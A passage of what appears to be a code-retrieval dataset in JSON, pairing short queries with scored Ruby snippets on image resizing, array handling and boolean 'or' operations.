conversion, height\r\n else\r\n # Get Zoom X and Y\r\n zoom_x, zoom_y = width, height / conversion\r\n end\r\n # Branch By Align\r\n case align\r\n when 1\r\n # Add To Make it in the center\r\n x += (width - zoom_x) / 2\r\n when 2\r\n # Add to Make it in the right\r\n x += width - zoom_x\r\n end\r\n # Get Destination Rect\r\n dest_rect = Rect.new(x, y, zoom_x, zoom_y)\r\n # Stretch to Fit\r\n stretch_blt(dest_rect, bitmap, bitmap.rect, opacity)\r\n else\r\n # Branch By alignment\r\n case align\r\n when 1\r\n # Add To Make it in the center\r\n x += (width - w) / 2\r\n when 2\r\n # Add to Make it in the right\r\n x += width - w\r\n end\r\n # Draw Bitmap\r\n full_blt(x, y, bitmap, opacity)\r\n end\r\n end", "title": "" }, { "docid": "4212cb7c5db2f7087342a0c3a66d93e8", "score": "0.4924538", "text": "def resize_to_fit(new_width, new_height)\n ::ImageScience.with_image(self.current_path) do |img|\n width, height = extract_dimensions(img.width, img.height, new_width, new_height)\n img.resize( width, height ) do |file|\n file.save( self.current_path )\n end\n end\n end", "title": "" }, { "docid": "06c5cbf8fca2543766d1ca0c591a8a34", "score": "0.49192566", "text": "def apply_image_changes\n @image_width = @image.columns\n @image_height = @image.rows\n\n if @image_params[:width].to_i > 0\n @width = @image_params[:width].to_i\n else\n @width = @image_width\n end\n\n if @image_params[:height].to_i > 0\n @height = @image_params[:height].to_i\n else\n @height = @image_height\n end\n\n calcuate_sizes\n @image = @image.resize(@width, @height) if @width != @image_width || @height != @image_height\n apply_rounded_corners if @image_params[:rounded_corners]\n end", "title": "" }, { "docid": "43dae111de1b58a291e0343da3b8331b", "score": "0.49129197", "text": "def stretch_convert_image(img, start_x = 0, start_y = 0, width = 640, height = 480)\n new_image = img.crop(0,0,width,4).adaptive_resize(width, height)\n return new_image\n end", "title": "" }, { "docid": "48b0aa911582bc62df3094c36394bd4c", "score": "0.49121174", "text": "def preprocess\n @image = @original_image\n @image.scale! @image.columns, @image.rows / 2 unless @hd\n\n if @height.nil?\n @image = @image.resize_to_fit(@width)\n else\n @height /= 2 unless @hd\n @image = @image.resize_to_fit(@width, @height)\n end\n end", "title": "" } ]
42d8054f202dc8db87a6dcfe49ddeecb
output array is kept: this does not provide protection against reading the same value multiple times
[ { "docid": "bd665045a34af283fb53d42493124ffb", "score": "0.0", "text": "def last_color_output\n return @output_array[-2]\n end", "title": "" } ]
[ { "docid": "d140ed4a7866a537b309fdced5f0ddde", "score": "0.5986811", "text": "def output\n []\n end", "title": "" }, { "docid": "4b20d240d4021cb911e27f92685afe15", "score": "0.5960777", "text": "def value_written; end", "title": "" }, { "docid": "d7ea23260382f1025902c541f400f6f2", "score": "0.5943024", "text": "def output\n @output ||= Set.new\n end", "title": "" }, { "docid": "270216118e70362a81ee073a5f8b922f", "score": "0.59055007", "text": "def avail_out= size\n\t\tsize.times do \n\t\t\tif size > avail_out\n\t\t\t\t@output_buffer.push nil\n\t\t\telse\n\t\t\t\t@output_buffer.pop\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "686dc9a717a4f232f97170d966e6f68b", "score": "0.5891762", "text": "def __write_array(ary, io)\n ary.each_with_index do |el, i|\n io.puts \"result__[#{i}] = #{el.subs(@dict)};\"\n end \n end", "title": "" }, { "docid": "f3e07bde54e472fd325d832a2d9cf122", "score": "0.5886229", "text": "def generate_input\n @memory.each do |k, v| \n if v.length == 2\n puts \"#{v[0]}, #{v[1]} were popped from memory\"\n return @memory.delete(k) \n end\n end\n nil\n end", "title": "" }, { "docid": "8f873b029736c3af76403b2814c81760", "score": "0.58726674", "text": "def array_method(input, value_input, which_index)\n\tinput[which_index] = value_input\t\n\tputs input\n\treturn input\nend", "title": "" }, { "docid": "c5bbad9757075e8d488bb34a0acbedbe", "score": "0.5842973", "text": "def array\n @array\n end", "title": "" }, { "docid": "f07e7aaa70ae1f83f1d91e48b4c05507", "score": "0.58152944", "text": "def array\n @@array\n end", "title": "" }, { "docid": "2ceb7dc837b64419482073d20de0678f", "score": "0.5787653", "text": "def out_buffers; @out_buffers; end", "title": "" }, { "docid": "5918eae045ab6874061b204ca23013ea", "score": "0.57856375", "text": "def avail_out= size\n\t\t\tsize.times do\n\t\t\t\tif size > avail_out\n\t\t\t\t\t@output_buffer.push nil\n\t\t\t\telse\n\t\t\t\t\t@output_buffer.pop\n\t\t\t\tend\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "f991cf98ac1068373545eec3c4634fb9", "score": "0.5783518", "text": "def get_array\n\t\tsynchronize do\n\t\t\t@condition.wait_until{@array.size > 0}\n\t\t\ta = @array\n\t\t\t@array = []\n\t\t\treturn a\n\t\tend\n\tend", "title": "" }, { "docid": "520cad828018cef8e8dcd810bdd29b36", "score": "0.5781448", "text": "def reset_memory\n i = 0\n for value in @original_values\n @input_values[i] = @original_values[i]\n i = i + 1\n end\nend", "title": "" }, { "docid": "c0fb3c8dc2eb07959c6d1a6de0d9d37e", "score": "0.5765565", "text": "def virus(array_input)\n new_array = [ ]\n number_of_loops = array_input.length\n index = array_input.length - 1\n\n number_of_loops.times do \n new_array << array_input[index]\n index = index - 1 \n end \n\n output = new_array\n return output\nend", "title": "" }, { "docid": "79b8f4a79c417de41dd631b4d274c8bd", "score": "0.5740931", "text": "def array()\n\t\t@array\n\tend", "title": "" }, { "docid": "59cfdcce0de200e10b2d2b38446cdc64", "score": "0.57165605", "text": "def out= out\n @out = out\n end", "title": "" }, { "docid": "59cfdcce0de200e10b2d2b38446cdc64", "score": "0.57165605", "text": "def out= out\n @out = out\n end", "title": "" }, { "docid": "aae44132245e57cfa37e284c6419ecda", "score": "0.56487286", "text": "def outputs\n @outputs || []\n end", "title": "" }, { "docid": "30d3498b0f42332ce2c5966b0d26a425", "score": "0.56438935", "text": "def last_output\n return @output_array[-1]\n end", "title": "" }, { "docid": "30d3498b0f42332ce2c5966b0d26a425", "score": "0.56438935", "text": "def last_output\n return @output_array[-1]\n end", "title": "" }, { "docid": "30d3498b0f42332ce2c5966b0d26a425", "score": "0.56438935", "text": "def last_output\n return @output_array[-1]\n end", "title": "" }, { "docid": "30d3498b0f42332ce2c5966b0d26a425", "score": "0.56438935", "text": "def last_output\n return @output_array[-1]\n end", "title": "" }, { "docid": "38ceb01272e0b9dbda83fc745e6630be", "score": "0.55773205", "text": "def read_output()\n if outputs.size > 0\n outputs.shift\n else\n nil\n end\n end", "title": "" }, { "docid": "9e65a96cac62bdfeaabe4dd640187179", "score": "0.5562702", "text": "def outputs\n [Graph::OperationOutput.from_index(self.value_handle, 0)]\n end", "title": "" }, { "docid": "38202b137ae3d3cebf8b81d83677b747", "score": "0.55526567", "text": "def input\r\n\t\t@input.map{|i| i}\t\r\n\tend", "title": "" }, { "docid": "bc835e814fbe2264f4ad24715437aedb", "score": "0.55431235", "text": "def stream_out\r\n stream = []\r\n size = @size\r\n if @size == -1\r\n size = @data.length\r\n end\r\n if @data.length <= size\r\n stream = Array.new(@data)\r\n (size - @data.length).times do |i|\r\n stream.push nil\r\n end\r\n else\r\n raise \"section #{@name} exceeds in #{@data.length - size} bytes it's predefined size\"\r\n end\r\n stream\r\n end", "title": "" }, { "docid": "fc432b6b6b18b85ecdeba48f2c53e14f", "score": "0.55199647", "text": "def output_array(array)\n counter = 0\n while array[counter] do\n puts array[counter]\n counter += 1\n end\nend", "title": "" }, { "docid": "aabc29f0b7b82cb7b0e6cf7b5b8b9d69", "score": "0.55044925", "text": "def array_method(input, value_input)\n\tmiddle_val = input.length/2\n\tinput[middle_val] = value_input\t\n\tputs input\n\treturn input\nend", "title": "" }, { "docid": "093e3eee5f539c0ba661d047666bc143", "score": "0.5495157", "text": "def outputs\n id_array = []\n reads.each do |read|\n id = \"s_#{self.lane}_#{read}_#{self.barcode_string}.fastq.gz\"\n id_array << id\n end\n id_array\n end", "title": "" }, { "docid": "9f5f2e329d490027b690bb8920c8ee14", "score": "0.54934824", "text": "def genOutputArray(popUnit)\n normalizedPopulation = (@population.to_f / popUnit) ;\n return [@timeIndex,\n @index[0], @index[1], @index[2],\n normalizedPopulation]\n end", "title": "" }, { "docid": "0f990bebad27702a94447ad57c13d3e1", "score": "0.5491242", "text": "def popullate_array(acct_numbers_array, number_acct_fields)\r\n for i in 1..number_acct_fields\r\n acct_num = random_account_number()\r\n acct_numbers_array.push(acct_num)\r\n end\r\n return acct_numbers_array\r\nend", "title": "" }, { "docid": "c30de60e30a8227f09e6164300319913", "score": "0.5489306", "text": "def Array(p0) end", "title": "" }, { "docid": "d4177db4206265b83b53f64916fcc16a", "score": "0.5481404", "text": "def pop\n _input_to_output\n @output.pop\n end", "title": "" }, { "docid": "f8a58f603ba025ad4993083bacf2cd10", "score": "0.54623747", "text": "def output_array(array)\n counter = 0\n while array[counter]do\n puts array[counter]\n counter += 1\n end\nend", "title": "" }, { "docid": "5ec7e586da4e46b3844fb367f292e0ea", "score": "0.54596376", "text": "def no_mutate(array)\n\tarray.last\nend", "title": "" }, { "docid": "37c8f4599a5776eed399ca402014485f", "score": "0.54573864", "text": "def saved_for_special_occasion(array)\n puts array[2]\nend", "title": "" }, { "docid": "a8059695b96e7a805225a6433eec603b", "score": "0.5453852", "text": "def write_content(file_out)\n file_out.puts(@array)\n end", "title": "" }, { "docid": "ce1137f3bd52ee51acfed15391ec7bb1", "score": "0.5453368", "text": "def ret_array(_array, _ret, _id)\n if !_ret.nil?\n _ret.each do |_r|\n _array = _array << _r.read_attribute(_id) unless _array.include? _r.read_attribute(_id)\n end\n end\n end", "title": "" }, { "docid": "ce1137f3bd52ee51acfed15391ec7bb1", "score": "0.5453368", "text": "def ret_array(_array, _ret, _id)\n if !_ret.nil?\n _ret.each do |_r|\n _array = _array << _r.read_attribute(_id) unless _array.include? _r.read_attribute(_id)\n end\n end\n end", "title": "" }, { "docid": "ce1137f3bd52ee51acfed15391ec7bb1", "score": "0.5453368", "text": "def ret_array(_array, _ret, _id)\n if !_ret.nil?\n _ret.each do |_r|\n _array = _array << _r.read_attribute(_id) unless _array.include? _r.read_attribute(_id)\n end\n end\n end", "title": "" }, { "docid": "ce1137f3bd52ee51acfed15391ec7bb1", "score": "0.5453368", "text": "def ret_array(_array, _ret, _id)\n if !_ret.nil?\n _ret.each do |_r|\n _array = _array << _r.read_attribute(_id) unless _array.include? _r.read_attribute(_id)\n end\n end\n end", "title": "" }, { "docid": "003aa5e0915a2bc08875f282b20c2aa0", "score": "0.545136", "text": "def output\n @output.clone\n end", "title": "" }, { "docid": "09fd7bed68fa2afca461afef89b3976a", "score": "0.54476035", "text": "def out\n @out\n end", "title": "" }, { "docid": "31806479694a3de8953756a75b1288a8", "score": "0.5430856", "text": "def get_data\n $test_logger.log(\"Get data\")\n\n if @data.is_a?(Array) \n data_copy = Array.new(@data.size)\n @data.each_with_index{|d, i|\n if !d.to_s.include? CmdManager::DONT_CARE\n data_copy[i] = BioPacket.swap_dword(d)\n else\n data_copy[i] = d\n end \n } \n else\n data_copy = Common.get_obj_copy(@data)\n end \n data_copy\n end", "title": "" }, { "docid": "fa749eb50db199652539f94dec1de579", "score": "0.5415826", "text": "def value_viewer(value_array) ### 2\n\tvalue_array.each do |value|\n\t\tputs value\n\tend\nend", "title": "" }, { "docid": "869acb11a569f23df21056e69aee0ed8", "score": "0.540567", "text": "def output_buffer; end", "title": "" }, { "docid": "869acb11a569f23df21056e69aee0ed8", "score": "0.540567", "text": "def output_buffer; end", "title": "" }, { "docid": "0f257e1aaff1fdeb4cb07b2a2d677108", "score": "0.5378361", "text": "def map_to_no_change(source_array)\n array = []\n index = 0 \n \n while index < source_array.size do \n array.push(source_array[index])\n index += 1 \n end\n return array\nend", "title": "" }, { "docid": "417340e92f6f6754794ed7f9d9449a76", "score": "0.5372366", "text": "def output_array(array)\n counter = 0 \n while counter < array.length do \n puts array[counter]\n counter += 1\n end \nend", "title": "" }, { "docid": "c84ba4ded4471d002a1772510346e0aa", "score": "0.53687114", "text": "def double_array(array)\n output_array = []\n\n array.each do |thing|\n output_array << thing * 2\n end\n\n return output_array\nend", "title": "" }, { "docid": "be35f62d727df8a36c11c285a94c2d4c", "score": "0.5359637", "text": "def output\n if @output_collection.empty?\n output = @output_hash\n else\n output = @output_collection\n output << @output_hash unless @output_hash.empty?\n output.flatten!\n end\n output\n end", "title": "" }, { "docid": "1eaed8e0dfbfa0bed1f5cd7b02f75f3c", "score": "0.5356337", "text": "def finally(def_arry)\n\twhile def_arry != []\n\tout = def_arry.shift.transpose[0]\n\tp out\n\tend\nend", "title": "" }, { "docid": "ab1ae74e871cdac28077602e44220c6f", "score": "0.53484106", "text": "def array_method(input, value_input, which_index)\n\tif input.is_a?(Array) && which_index.is_a?(Integer)\n\t\tinput[which_index] = value_input\t\n\t\tputs input\n\t\treturn input\n\telse\n\t\treturn false\n\tend\nend", "title": "" }, { "docid": "cf90fb95fd670dbd10f5ccdd3daf68ca", "score": "0.53483176", "text": "def output(input)\n array = []\n input.sort.each do |value|\n select_result(input, value)\n end\n [@result.first, @result.last]\n end", "title": "" }, { "docid": "b2439e74d205d557059757e884ee2dec", "score": "0.5344701", "text": "def in_memory\n []\n end", "title": "" }, { "docid": "bc38792f2aa342deef82e644a4cb2a7d", "score": "0.5343096", "text": "def value_read; end", "title": "" }, { "docid": "f228d27777c14e9bc6843b4b8d2827bb", "score": "0.53420156", "text": "def output(data); end", "title": "" }, { "docid": "8dd3be7bd644f3614c979915c9b17376", "score": "0.5338217", "text": "def call_out_update\n @call_out[0] = letters.sample\n @call_out[1] = rand 1..100\n p @call_out\n end", "title": "" }, { "docid": "069fd41eb214cfa5f16f8bc52319b6ef", "score": "0.5337865", "text": "def output\n run\n ints[0]\n end", "title": "" }, { "docid": "ec4915dc036e275a22d54abe30eca950", "score": "0.5337031", "text": "def array\n\t\t#create an array of\n\t\tarray = [0, 1, 2, 3, 4, 5, 6, 7, 8]\n\tend", "title": "" }, { "docid": "1e138db2a7cb3f6a87f93a321d28645e", "score": "0.53316206", "text": "def assignation_array() \n array = []\n \n count = self.assignation_count()\n #puts \"COUNT: #{count}\".yellow.on_black\n for i in 0..(count-1)\n #puts \"ADD element\".yellow.on_black\n array << self.assignation(i)\n end\n \n array\n end", "title": "" }, { "docid": "4fbb8f0cc344dff83143eaf52c32214c", "score": "0.53151417", "text": "def update_arr2(var)\n\tvar.uniq!\nend", "title": "" }, { "docid": "82785ef397f59bb366895a90814ca529", "score": "0.53136307", "text": "def basic_12 (array_process)\n array_process.shift\n array_process.push(0)\nend", "title": "" }, { "docid": "b15006803f5d43d2c5921f659480bd62", "score": "0.5309207", "text": "def big_input_array\n @my_big_input_array.push(@code_breaker_guess)\n #puts \" \"\n #puts \"---------\"\n #puts \"#{@code_breaker_guess}\"\n #puts \"#{@my_big_input_array}\"\n #puts \"---------\"\n #puts \" \"\n #puts \" \"\n #puts \"#{@my_big_input_array}\"\n #puts \" \"\n end", "title": "" }, { "docid": "a8a03a9540eddf4cfbb8a03c81ff36cd", "score": "0.530765", "text": "def outputValue\n\t\tend", "title": "" }, { "docid": "3c7c62c3bcab8b96a09880fc9f84efea", "score": "0.52895427", "text": "def big_result_array\n @my_big_result_array.push(@result)\n #puts \" \"\n #puts \"#{@my_big_result_array}\"\n #puts \" \"\n end", "title": "" }, { "docid": "98e578020ee0626fbc230ecf5ae315c0", "score": "0.5270016", "text": "def __array__; self; end", "title": "" }, { "docid": "1a1813b9dfa76e703b96092377a6b515", "score": "0.5266813", "text": "def no_mutate(array)\n array.last #returns the last element of the array but does not actually permanently modify the array in any way\nend", "title": "" }, { "docid": "808698caeb11cf7011122cfb8f01e0b9", "score": "0.5261786", "text": "def value_written=(_arg0); end", "title": "" }, { "docid": "7d25337aa4330897ed7639cffb7d3768", "score": "0.5250504", "text": "def in_memory\n []\n end", "title": "" }, { "docid": "7d25337aa4330897ed7639cffb7d3768", "score": "0.5250504", "text": "def in_memory\n []\n end", "title": "" }, { "docid": "5a921b7bdd43c4707d68fc39b63b8ef1", "score": "0.52488613", "text": "def converted_arrays; end", "title": "" }, { "docid": "ed7a9159acf7052543149b17bef5c833", "score": "0.52454025", "text": "def out; end", "title": "" }, { "docid": "9bc631a6d0fca765d04b6645ad1bbee8", "score": "0.52431", "text": "def output\n @output.map(&:to_s)\n end", "title": "" }, { "docid": "0fe8d448233f9d2ae24ea05d3e3301f5", "score": "0.5239", "text": "def return_arr_txts\r\n IO.write(\"./DEBUG\", \"docclass=\"+@doc.to_s+\" andinfoclass= \"+@@info_past.class.to_s+\"=\"+@@info_past.to_s)\r\n @doc = @@info_past[1]\r\n if @doc[\"doc\"].empty?\r\n return [\"0\"]\r\n else\r\n return @doc[\"doc\"] #retorna os nomes dentro de um Array\r\n end\r\n end", "title": "" }, { "docid": "47b0d7ae08df72851d12ba8d839aa4ad", "score": "0.5236571", "text": "def get_output\n output = []\n tokens = 0\n @queue_mutex.synchronize do\n tokens = @queue.size\n tokens.times { output << @queue.shift }\n end\n @mutex.synchronize do\n @enqueued_tokens -= tokens\n end\n\n # Nil if nothing to process in the pipe.\n # Possible only after flushing the pipe.\n if @enqueued_tokens > 0\n output\n else\n output.any? ? output : nil\n end\n end", "title": "" }, { "docid": "c9dcaf71b2bdc72e99eb0699fd0f2a6f", "score": "0.52341706", "text": "def collect_preserve\n\t\tcopy = @arr.clone[0...@last]\n\tend", "title": "" }, { "docid": "fd537a2967eb10aad61a00d5dd30982c", "score": "0.52340674", "text": "def store_processes(process_array)\n process_repeat(\"start\")\n process_array.each do |thing|\n arr = []\n arr.push(thing)\n p arr\n end\nend", "title": "" }, { "docid": "75251a7e54544f5fe5e608a4a881b64b", "score": "0.5233396", "text": "def output_array(array)\n counter = 0\n while counter < array.length do\n puts array\n counter += 1\n end\nend", "title": "" }, { "docid": "6549540e01d77b48b1aeb6e9edfec43a", "score": "0.5230784", "text": "def append(array,num)\n output = array\n output << num\nreturn output\nend", "title": "" }, { "docid": "281a549c7ec236c1e3c8c42e8a122c87", "score": "0.522316", "text": "def output_array\n fizz_buzz_check.each do |element|\n puts element\n end\n end", "title": "" }, { "docid": "f6d06e994673f959ec4795af7bb25f36", "score": "0.5221626", "text": "def as_array\n @fm.dup\n end", "title": "" }, { "docid": "e4e5c6ec46d3ea485b4e10ab636e390d", "score": "0.5217815", "text": "def calls_array\n a = return_array\n a[1]\n end", "title": "" }, { "docid": "b7c360e5991a2b48564ef8ec595cd592", "score": "0.52120197", "text": "def output_array(array)\n count = 0\n while count < array.length do\n puts array[count]\n count += 1\n end\nend", "title": "" }, { "docid": "3b842b8d3177550e3e8c45f7b40aa7ad", "score": "0.5203361", "text": "def output_as_vector( category: :all )\n hash = output_hash\n sub_set( set: :outputs, category: category ).collect do |k| \n vector = [0]*output_hash.keys.size\n vector[ output_hash.keys.index( k ) ] = 1 # output_hash.keys \n vector\n end \n end", "title": "" }, { "docid": "ef097912b8396c27fc867ff85bcc2872", "score": "0.5192236", "text": "def atomic_array_pulls\n @atomic_array_pulls ||= {}\n end", "title": "" }, { "docid": "33cec534899f4cd0031734534e1c7ac8", "score": "0.518859", "text": "def virus(input_array)\n i = input_array.length-1 \n new_array = []\n\n input_array.length.times do \n new_array << input_array[i]\n i -= 1\n end \n return new_array\nend", "title": "" }, { "docid": "d4d4ff7a755cddbc35668a82e7da29b8", "score": "0.5185784", "text": "def no_mutate(array)\n array.last\nend", "title": "" }, { "docid": "d4d4ff7a755cddbc35668a82e7da29b8", "score": "0.5185784", "text": "def no_mutate(array)\n array.last\nend", "title": "" }, { "docid": "d4d4ff7a755cddbc35668a82e7da29b8", "score": "0.5185784", "text": "def no_mutate(array)\n array.last\nend", "title": "" }, { "docid": "d4d4ff7a755cddbc35668a82e7da29b8", "score": "0.5185784", "text": "def no_mutate(array)\n array.last\nend", "title": "" }, { "docid": "d4d4ff7a755cddbc35668a82e7da29b8", "score": "0.5185784", "text": "def no_mutate(array)\n array.last\nend", "title": "" }, { "docid": "ead9d0d01eaa3b546c59e6ade6da339f", "score": "0.5183719", "text": "def non_mutate(array)\n array.last\nend", "title": "" }, { "docid": "5e7bfd1740958b7d5aac5f470aac709e", "score": "0.5181364", "text": "def square_array(array)\n # your code here\n new_numbers = []\n #array.each {|num| puts num ** 2}\n array.each {|num| new_numbers << num ** 2} ## does << save value of squared numbers to new_numbers??\n\n # puts new_numbers\n return new_numbers\n\nend", "title": "" }, { "docid": "d4296c89e28a56764ca1041696917971", "score": "0.51748794", "text": "def to_ary\n\t []\n\tend", "title": "" }, { "docid": "98ce7de31cb5fa948b0ef71cac8a0222", "score": "0.51604307", "text": "def array\n raise \"Not implemented\"\n end", "title": "" }, { "docid": "7234b9210477e61d0b4f876fa8dac588", "score": "0.5159812", "text": "def get_array_final(name,value)\n\thash_final = Hash[name.zip(value.map)]\n\treturn hash_final\nend", "title": "" }, { "docid": "c3108465dbe7b22fa7a789fdeda225a0", "score": "0.51577234", "text": "def outputs\n inputs.map(&:output).compact\n end", "title": "" }, { "docid": "8dcc799fd4b7b88efceb9f005bfc11c4", "score": "0.5153962", "text": "def reads\n (1..read_count).to_a\n end", "title": "" }, { "docid": "bbe0551f0878acde822f27061c0bc29f", "score": "0.51507735", "text": "def restart_memory\n input = IO.readlines(\"data/input.txt\")\n input = input[0].split(',')\n input = input.map(&:to_i)\n return input\nend", "title": "" }, { "docid": "fd6d8919b57d7675282c8ef7ce4d0048", "score": "0.5145035", "text": "def getResult\n return @out\n end", "title": "" } ]
240c4f852593b1ef476355c193ab0e4f
or with one line
[ { "docid": "900fff8ab52d956381dc0b627f44e07f", "score": "0.0", "text": "def oneliner(a)\n a.sort!.each_with_index.map { |n, i| (1 << i) * (n - a[a.size - 1 - i]) }.reduce(:+) % (10**9 + 7)\nend", "title": "" } ]
[ { "docid": "5790abc786f0bb43920573d27d12cd10", "score": "0.7291843", "text": "def or\n end", "title": "" }, { "docid": "424c8e65e3184b78f1d2e7674fd42263", "score": "0.7243852", "text": "def or(right); end", "title": "" }, { "docid": "3608e51948f4077591a036346ba604ec", "score": "0.71189696", "text": "def or(other); end", "title": "" }, { "docid": "3608e51948f4077591a036346ba604ec", "score": "0.71189696", "text": "def or(other); end", "title": "" }, { "docid": "3608e51948f4077591a036346ba604ec", "score": "0.71189696", "text": "def or(other); end", "title": "" }, { "docid": "e27fc68048e9e2ea219a1414df2fa9d0", "score": "0.69874585", "text": "def ruby_or(a, b)\n `(#{a} !== #{false} && #{a} !== #{nil}) ? #{a} : #{b}`\n end", "title": "" }, { "docid": "36c269cc802776e8b98ed375fee8f156", "score": "0.67018485", "text": "def or(matcher); end", "title": "" }, { "docid": "7f863ff771c876c77aab2d89cf8065bb", "score": "0.6688375", "text": "def xp_or(first, second)\n return \"(#{first} or #{second})\"\n end", "title": "" }, { "docid": "891fc987b38b93b87c2b1f445f176ce1", "score": "0.66705346", "text": "def combine_or(left, right); end", "title": "" }, { "docid": "30507e34e64b87188893fef8c6b3083d", "score": "0.6285428", "text": "def or(_ = nil)\n self\n end", "title": "" }, { "docid": "26fce6fca6566e496e656d7ee6b281c2", "score": "0.625371", "text": "def or!(s); ori(s); end", "title": "" }, { "docid": "895b1fd1b3c0e6ebecb69a763e4cf4dc", "score": "0.62139904", "text": "def or\n s[-2] = (s[-1]|s[-2])\n s.pop\n end", "title": "" }, { "docid": "69b6e47110268964906093097204c81e", "score": "0.6202088", "text": "def or(left, right = nil)\n _factor_predicate([:or, sexpr(left), sexpr(right)])\n end", "title": "" }, { "docid": "471647dfe887a661ebc41bf82ef368fb", "score": "0.61913717", "text": "def or_operator\n '|'\n end", "title": "" }, { "docid": "471647dfe887a661ebc41bf82ef368fb", "score": "0.61913717", "text": "def or_operator\n '|'\n end", "title": "" }, { "docid": "fe806d926b4ee19853859ae3c4b9604c", "score": "0.6157811", "text": "def combine_or(left, right)\n ->(other) { left.call(other) || right.call(other) }\n end", "title": "" }, { "docid": "1771bf28859ea79bebecd11c7bef2930", "score": "0.615096", "text": "def either(one, other)\n truth? ? one : other\n end", "title": "" }, { "docid": "e1ad3594fda349e9dfb7ae2c93f5fca6", "score": "0.61462283", "text": "def first_or(ary)\n ary.length == 1 ? ary.first : ary\n end", "title": "" }, { "docid": "855b20bcdd05d7f84517d510a26064bd", "score": "0.6134302", "text": "def process_or(exp)\n \"#{process(exp.shift)} | #{process(exp.shift)}\"\n end", "title": "" }, { "docid": "7b37994e05ab21edaf7abfa7a5ef23b0", "score": "0.6131808", "text": "def or(proc = Undefined, &block)\n Undefined.default(proc, block).call\n end", "title": "" }, { "docid": "4ae7bff3b48184ff1b4482a97dd22ade", "score": "0.6078651", "text": "def sql_or\n sql_expr_if_all_two_pairs(:OR)\n end", "title": "" }, { "docid": "4ae7bff3b48184ff1b4482a97dd22ade", "score": "0.6078651", "text": "def sql_or\n sql_expr_if_all_two_pairs(:OR)\n end", "title": "" }, { "docid": "4ae7bff3b48184ff1b4482a97dd22ade", "score": "0.6078651", "text": "def sql_or\n sql_expr_if_all_two_pairs(:OR)\n end", "title": "" }, { "docid": "8c5703402e5f06811e102607640f300a", "score": "0.607848", "text": "def union(x,y)\n x | y\n end", "title": "" }, { "docid": "47860fd828b15eddca38f91f18352b1a", "score": "0.60674137", "text": "def |(re)\n self.or(re)\n end", "title": "" }, { "docid": "b571fc41d5e6f7cd977dbdf6adb85be2", "score": "0.60038483", "text": "def or(other)\n self\n end", "title": "" }, { "docid": "b29d45e0481ae1d542f9c6d5c160ed8a", "score": "0.5997935", "text": "def oO\n binary_operator \"||\"\n end", "title": "" }, { "docid": "fff094cf2afa7c6df2173ba5f5b3e1bd", "score": "0.5965886", "text": "def bor\n inject{ |s,x| s || x }\n end", "title": "" }, { "docid": "b557148f4aaed5b35c6a2bb9db8e6a2e", "score": "0.59620214", "text": "def or(&block)\n select_fragment('OR', &block)\n end", "title": "" }, { "docid": "b557148f4aaed5b35c6a2bb9db8e6a2e", "score": "0.59620214", "text": "def or(&block)\n select_fragment('OR', &block)\n end", "title": "" }, { "docid": "ae6c618372ed568c38d1d4d578097380", "score": "0.59610206", "text": "def or_else(v)\n self\n end", "title": "" }, { "docid": "35c6b00de5b648d0355bae4871803eb1", "score": "0.5959528", "text": "def or_operator\n ','\n end", "title": "" }, { "docid": "a3a029b3946db26d5599c4ec491adb04", "score": "0.5918347", "text": "def or_then &_block\n yield self unless self\n self\n end", "title": "" }, { "docid": "cf07cd31eb70234d90970919dea8106e", "score": "0.5916127", "text": "def or(*args)\n new(args.any?{|arg| arg.true?})\n end", "title": "" }, { "docid": "689072ac7f7d31b4e6e4bd74f26cb75e", "score": "0.586495", "text": "def exclusive_or(a, b)\n a && !b || !a && b\n end", "title": "" }, { "docid": "1100a286b5a4633be38d958604d915d7", "score": "0.5864539", "text": "def or_instead(value = nil)\n @prefixes += \"(?:\" unless @prefixes.include?(\"(\")\n @suffixes = \")\" + @suffixes unless @suffixes.include?(\")\")\n add(\")|(?:\")\n find(value) if value\n end", "title": "" }, { "docid": "9896a917d58ca9b1c3f0242b9c9a4bfc", "score": "0.58465767", "text": "def or(other)\n spawn.or!(other)\n end", "title": "" }, { "docid": "9896a917d58ca9b1c3f0242b9c9a4bfc", "score": "0.58465767", "text": "def or(other)\n spawn.or!(other)\n end", "title": "" }, { "docid": "8b741558b089881e47c4106f66479de8", "score": "0.5819298", "text": "def or(s)\n s.size.times do |i|\n self.set(i) if s[i]\n end\n end", "title": "" }, { "docid": "1a1cbdf6e70291a6f4d3e2d70a61b6a0", "score": "0.580791", "text": "def alternately(*args, &block)\n\t\t\t#\tproxy to the phrase\n\t\t\tself.phrase.or *args, &block\n\t\tend", "title": "" }, { "docid": "5bedd7e745cee96749968339382ba6f7", "score": "0.57895124", "text": "def or_(a)\n if ((a).nil?)\n return self\n end\n s = self.clone\n s.or_in_place(a)\n return s\n end", "title": "" }, { "docid": "f80ab151fe694b5605c8fbafc04a956e", "score": "0.57601476", "text": "def or(method, string)\n send(method).blank? ? string : send(method)\n end", "title": "" }, { "docid": "310511315396e37cd97a1017b8db9153", "score": "0.5727884", "text": "def or(generator_or_options = {})\n Operator::OR.new self, generator_or_options\n end", "title": "" }, { "docid": "93a9f9c1f84ba6371ba20233e1fd248a", "score": "0.5713239", "text": "def or? other\n self | other != 0\n end", "title": "" }, { "docid": "460110d96529283ea360ed46d1518e9e", "score": "0.5699914", "text": "def ora\n end", "title": "" }, { "docid": "0d966915ff329af244d297ad9820869a", "score": "0.56976044", "text": "def process_or(exp)\n rhs = process exp.shift\n lhs = process exp.shift\n\n rhs_type = rhs.c_type\n lhs_type = lhs.c_type\n\n rhs_type.unify lhs_type\n rhs_type.unify CType.bool\n\n return t(:or, rhs, lhs, CType.bool)\n end", "title": "" }, { "docid": "ec8e12f74113f628b33776a8e445b757", "score": "0.5695099", "text": "def _or(*vals)\n evaluate_expression '$or', vals\n end", "title": "" }, { "docid": "4c510d3601c6804d40c91eb3ae5e46ec", "score": "0.5690124", "text": "def or_clause(*args)\n if args.length > 1\n \"(\" + args.join(\" OR \") + \")\"\n else\n args.first\n end\n end", "title": "" }, { "docid": "75395e1ead7ce67856d2964f7510276c", "score": "0.56847274", "text": "def |(other)\n self.or(other)\n end", "title": "" }, { "docid": "91a517322983375f14aead619b5cd2c1", "score": "0.5684096", "text": "def or(x, y)\n @regs[x] |= @regs[y]\n end", "title": "" }, { "docid": "3532ff61141808f1278e85da4c8b0489", "score": "0.56828207", "text": "def bor(a, b)\n @cycle += 1\n a | b\n end", "title": "" }, { "docid": "3dc2cdadc6fa3840749fe891cfd21c94", "score": "0.56577456", "text": "def find_or(method, attrs = {}, &block)\n first(attrs) || send(method, attrs, &block)\n end", "title": "" }, { "docid": "1ca95282b5ac51c17323f5895051df91", "score": "0.5632747", 